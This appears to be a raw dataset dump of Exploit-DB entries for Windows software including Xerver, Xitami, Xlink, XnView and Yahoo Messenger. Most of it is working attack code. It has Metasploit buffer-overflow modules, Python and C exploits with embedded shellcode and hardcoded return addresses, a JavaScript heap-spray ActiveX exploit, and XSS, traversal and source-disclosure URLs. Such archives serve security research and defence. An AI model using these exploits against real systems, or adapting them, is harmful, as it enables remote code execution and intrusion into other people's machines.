deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26375
Description: Xerver 4.17 - Forced Directory Listing
Type: remote
Platform: windows
Date: 2005-10-19
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/15135/info
 
Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.
 
An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.
 
An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/%00/
Exploit-DB #26374
Description: Xerver 4.17 - Single Dot File Request Source Disclosure
Type: remote
Platform: windows
Date: 2005-10-19
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/15135/info

Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.

An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.

An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/Test.pl. ( '.' )
http://www.example.com/Test.php%2e ( '%2e' )
Exploit-DB #26376
Description: Xerver 4.17 Server - URI Null Character Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-10-19
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/15135/info
  
Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.
  
An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.
  
An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/%00/<script>alert('X.S.S')</script>
Exploit-DB #9649
Description: Xerver HTTP Server 4.32 - Arbitrary Source Code Disclosure
Type: remote
Platform: windows
Date: 2009-09-11
Author: Dr_IDE

Exploit:
#################################################################################
#                                                                        	#
# Xerver HTTP Server v4.32 Remote Arbitrary Source Code Disclosure       	#
# Found By:	Dr_IDE				                                #
# Download:	http://www.javascript.nu/xerver                          	#
# Tested On:	Windows XPSP3                                            	#
#                                                                        	#
#################################################################################

- Description -

Xerver v4.32 is a Windows based HTTP server. This is the latest version of
the application available.

Xerver v4.32 is vulnerable to remote arbitrary source code disclosure by the
following means.

- Notes -
	1. This is remote only.
	2. Out of the box this server is completely unsecure and wide open,
	my configuration is attached below in case reproduction is an issue.


- Technical Details -

	http://[ webserver IP]/[ file ][::$DATA]


- Sample Case 1 -

	http://172.16.2.101/index.html::$DATA

- Remote Browser Output - 

	<html><head></head><body> This is my Web page </body></html>


- Sample Case 2 -

	http://172.16.2.101/default.asp::$DATA

- Remote Browser Output -

	<html>
	<body>
	<%
	response.write("My first ASP script!")
	%>
	</body>
	</html>

- My Server Configuration-

Filename: Xerver2.cfg

----------------------snip-------------------------------------------------------------------------
80
index.html,index.htm,index.shtml,default.html,default.asp,index.php,index.phtml,index.pl,index.cgi
c:\INETPUB\

c:\INETPUB\
php=php,php3=php,php4=php,phtml=php,pl=perl,cgi=perl,exe=,bat=


0
0
0
2
1
XerverWebserver.log
----------------------snip-------------------------------------------------------------------------

# milw0rm.com [2009-09-11]
Exploit-DB #16739
Description: Xftp FTP Client 3.0 - PWD Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: xftp_client_pwd.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered
				through an excessively long PWD message.
			},
			'Author' 	 =>
				[
					'zombiefx',  # Original exploit author
					'dookie'     # MSF module author
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'OSVDB', '63968'],
					[ 'URL', 'http://www.exploit-db.com/exploits/12332' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 434,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 22 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
				OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
		client.put(buffer)
	end

	def on_client_data(client)

		# Get the client username
		client.get_once

		# Prompt the client for the password.
		user = "331 Anonymous access allowed.\r\n"
		client.put(user)
		client.get_once

		# Handle the clients PWD command.
		pass = "230 Login successful.\r\n230 User logged in.\r\n"
		client.put(pass)
		client.get_once

		# Send the exploit
		sploit = "257 \"/"
		sploit << rand_text_alpha_upper(1019)
		sploit << [ target.ret ].pack('V')
		sploit << make_nops(55)
		sploit << payload.encoded
		sploit << "\" is current directory.\r\n"

		client.put(sploit)

		# Get the CWD from the client
		client.get_once

	end

end
Exploit-DB #4450
Description: Xitami Web Server 2.5 - 'If-Modified-Since' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-24
Author: h07

Exploit:
#!/usr/bin/python
# Xitami Web Server 2.5 (If-Modified-Since) 0day Remote Buffer Overflow Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: Xitami 2.5c2 / XP SP2 Polish
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Details:..
#
#     [Module xigui32.exe]
#     If-Modified-Since: Evil, ["A" * 76]\r\n
#     EIP 41414141
#
#     [Module xitami.exe]
#     If-Modified-Since: Evil, ["A" * 104]\r\n
#     EIP 41414141
#
# Product Homepage: http://www.xitami.com/
# Just for fun  ;) 
##

from struct import pack
from time import sleep
from socket import *

host = "192.168.0.1"
port = 80

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

opcode = pack("<L", 0x7CA76981) # jmp esp (shell32.dll / XP SP2 Polish)
jmpcode = "\xeb\x22"            # jmp short +0x22

buf = "A" * 72                  # (76 - 4) xigui32.exe
buf += opcode
buf += jmpcode
buf += "\x90" * 128
buf += shellcode

header = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'If-Modified-Since: Evil, %s\r\n'
'\r\n') % (host, buf)

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(header)
sleep(1)
s.close()

print "DONE"

# EoF

# milw0rm.com [2007-09-24]
Exploit-DB #16753
Description: Xitami Web Server 2.5c2 - If-Modified-Since Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-08-25
Author: Metasploit

Exploit:
##
# $Id: xitami_if_mod_since.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
			'Description'	=> %q{
				This module exploits a stack buffer overflow in the iMatix Corporation
				Xitami Web Server. If a malicious user sends an	If-Modified-Since
				header containing an overly long string, it may be possible to
				execute a payload remotely. Due to size constraints, this module uses
				the Egghunter technique.
			},
			'Author' 	=> 'patrick',
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 10150 $',
			'References'    =>
			[
				[ 'CVE', '2007-5067' ],
				[ 'OSVDB', '40594'],
				[ 'OSVDB', '40595'],
				[ 'BID', '25772' ],
				[ 'URL', 'http://www.milw0rm.com/exploits/4450' ],
			],
			'Privileged'		=> false,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'process',
			},
			'Payload'		=>
				{
					'Space'		=> 700,
					'BadChars' 	=> "\x00\x0a\x0d",
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
			# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
				[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
				[ 'xitami.exe  Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
			],
			'DisclosureDate' => 'Sep 24 2007',
			'DefaultTarget' => 0))

			register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.1\r\n\r\n")
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /Xitami/)
			return Exploit::CheckCode::Appears
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg     = hunter[1]

		sploit = "GET / HTTP/1.1\r\n"
		sploit << "Host: " + egg + "\r\n"
		sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
		sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']

		sock.put(sploit + "\r\n\r\n")

		print_status("Waiting for payload to execute...")

		handler
		disconnect
	end

end
Exploit-DB #16722
Description: Xlink FTP Client - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: xlink_client.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Xlink FTP Client Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Xlink FTP Client 32
				Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
				When a overly long FTP server response is recieved by a client,
				arbitrary code may be executed.
			},
			'Author' 	 => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2006-5792' ],
					[ 'OSVDB', '33969' ],
					[ 'URL', 'http://www.metasploit.com/' ],
					[ 'URL', 'http://www.xlink.com' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x0a\x0d\().,",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
					[ 'Windows 2000 SP4 English', 	{ 'Ret' => 0x7ce02a2d } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 3 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
			], self.class)
	end

	def on_client_connect(client)

		return if ((p = regenerate_payload(client)) == nil)

		sploit =  rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
		sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"

		print_status("Sending #{self.name}...")
		client.put(sploit)

		handler(client)
		service.close_client(client)

	end
end
Exploit-DB #16718
Description: Xlink FTP Server - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: xlink_server.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Xlink FTP Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Xlink FTP Server
				that comes bundled with Omni-NFS Enterprise 5.2.
				When a overly long FTP request is sent to the server,
				arbitrary code may be executed.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2006-5792' ],
					[ 'OSVDB', '58646' ],
					[ 'URL', 'http://www.metasploit.com/' ],
					[ 'URL', 'http://www.xlink.com' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 260,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
				],
			'DisclosureDate' => 'Oct 3 2009',
			'DefaultTarget'  => 0))

		deregister_options('FTPUSER', 'FTPPASS')
	end

	def check
		connect
		disconnect

		if (banner =~ /XLINK FTP Server/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit

		connect

		sploit =  payload.encoded + [target.ret].pack('V')
		sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect

	end

end
Exploit-DB #31405
Description: XnView 1.92.1 - Command-Line Arguments Buffer Overflow
Type: remote
Platform: windows
Date: 2014-02-05
Author: Sylvain THUAL

Exploit:
// source: https://www.securityfocus.com/bid/28259/info

XnView is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Attackers may exploit this issue only if XnView is configured as a handler for other applications, so that it can be passed malicious filenames as command-line data.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial of service.

This issue affects XnView 1.92.1; other versions may also be vulnerable.

#include <unistd.h>  

/*
Shellcode
Size=164 octets
Action: open calc.exe
*/
unsigned char shellcode[] =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16"
"\x77\x0b\x94\x83\xeb\xfc\xe2\xf4\xea\x9f\x4f\x94\x16\x77\x80\xd1"
"\x2a\xfc\x77\x91\x6e\x76\xe4\x1f\x59\x6f\x80\xcb\x36\x76\xe0\xdd"
"\x9d\x43\x80\x95\xf8\x46\xcb\x0d\xba\xf3\xcb\xe0\x11\xb6\xc1\x99"
"\x17\xb5\xe0\x60\x2d\x23\x2f\x90\x63\x92\x80\xcb\x32\x76\xe0\xf2"
"\x9d\x7b\x40\x1f\x49\x6b\x0a\x7f\x9d\x6b\x80\x95\xfd\xfe\x57\xb0"
"\x12\xb4\x3a\x54\x72\xfc\x4b\xa4\x93\xb7\x73\x98\x9d\x37\x07\x1f"
"\x66\x6b\xa6\x1f\x7e\x7f\xe0\x9d\x9d\xf7\xbb\x94\x16\x77\x80\xfc"
"\x2a\x28\x3a\x62\x76\x21\x82\x6c\x95\xb7\x70\xc4\x7e\x87\x81\x90"
"\x49\x1f\x93\x6a\x9c\x79\x5c\x6b\xf1\x14\x6a\xf8\x75\x59\x6e\xec"
"\x73\x77\x0b\x94";

/*
user32.dll ret adress ==> jmp ebp
under Win XP pro SP2
*/
unsigned char ret[] ="\x34\x59\x40\x7e";


int main(int argc,char *argv[]){
char *bufExe[3];
char buf[511];
bufExe[0] = "xnview.exe";
bufExe[2] = NULL;
memset(buf,0x90,511);
memcpy(&buf[260],ret,4);   
memcpy(&buf[330],shellcode,sizeof(shellcode));   
bufExe[1] = buf;

execve(bufExe[0],bufExe,NULL);
return 0x0;
}
Exploit-DB #34143
Description: XnView 1.97.4 - '.MBM' File Remote Heap Buffer Overflow
Type: remote
Platform: windows
Date: 2010-06-14
Author: Mauro Olea

Exploit:
source: https://www.securityfocus.com/bid/40852/info

XnView is prone to a remote heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Versions prior to XnView 1.97.5 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34143.rar
Exploit-DB #22144
Description: Xynph FTP Server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-01-11
Author: Zero-X www.lobnan.de Team

Exploit:
source: https://www.securityfocus.com/bid/6587/info

A problem with the handling of input has been reported in Xynph FTP Server. Under some circumstances, it may be possible for a remote user to escape the FTP root directory using relative path notation. This could allow unauthorized access to systems using the vulnerable software. 

cd ...
Exploit-DB #4351
Description: Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-01
Author: minhbq

Exploit:
<!--
Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX Control Buffer Overflows

update YM : http://messenger.yahoo.com/security_update.php?id=082907

Functions : fvcom or info;
RegKey Safe for Script: True 
RegKey Safe for Init: True
-> that functions are safely scriptable and exploitable by HeapSpray Technique

Tested : Windows XP Professional SP2 all patched,Internet Explorer 7

That functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used "Simple DNS Plus" for manipulating the DNS resolution.

I saved this file (exploit.htm) into directory root (web server) 
and I exploited with link : http://www.yahoo.com/exploit.htm

coder : minhbq
 mail : minhbq1985@gmail.com
-->


<html>
<!-- CLSID of YverInfo.dll -->
<object classid="CLSID:D5184A39-CBDF-4A4F-AC1A-7A45A852C883" id="target"></OBJECT>

<SCRIPT language="javascript">
// HeapSpray - execute calculator	
	shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");    
	bigblock = unescape("%u9090%u9090");    
    headersize = 20;    
    slackspace = headersize+shellcode.length
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;    
	memory = new Array();
    for (i=0;i<800;i++) memory[i] = block + shellcode;

	var buffer =  unescape("%0D");
	while (buffer.length< 10000) buffer+=unescape("%0D");

// Vulnerability of method fvcom
	target.fvcom(buffer);			

</script>
</html>

# milw0rm.com [2007-09-01]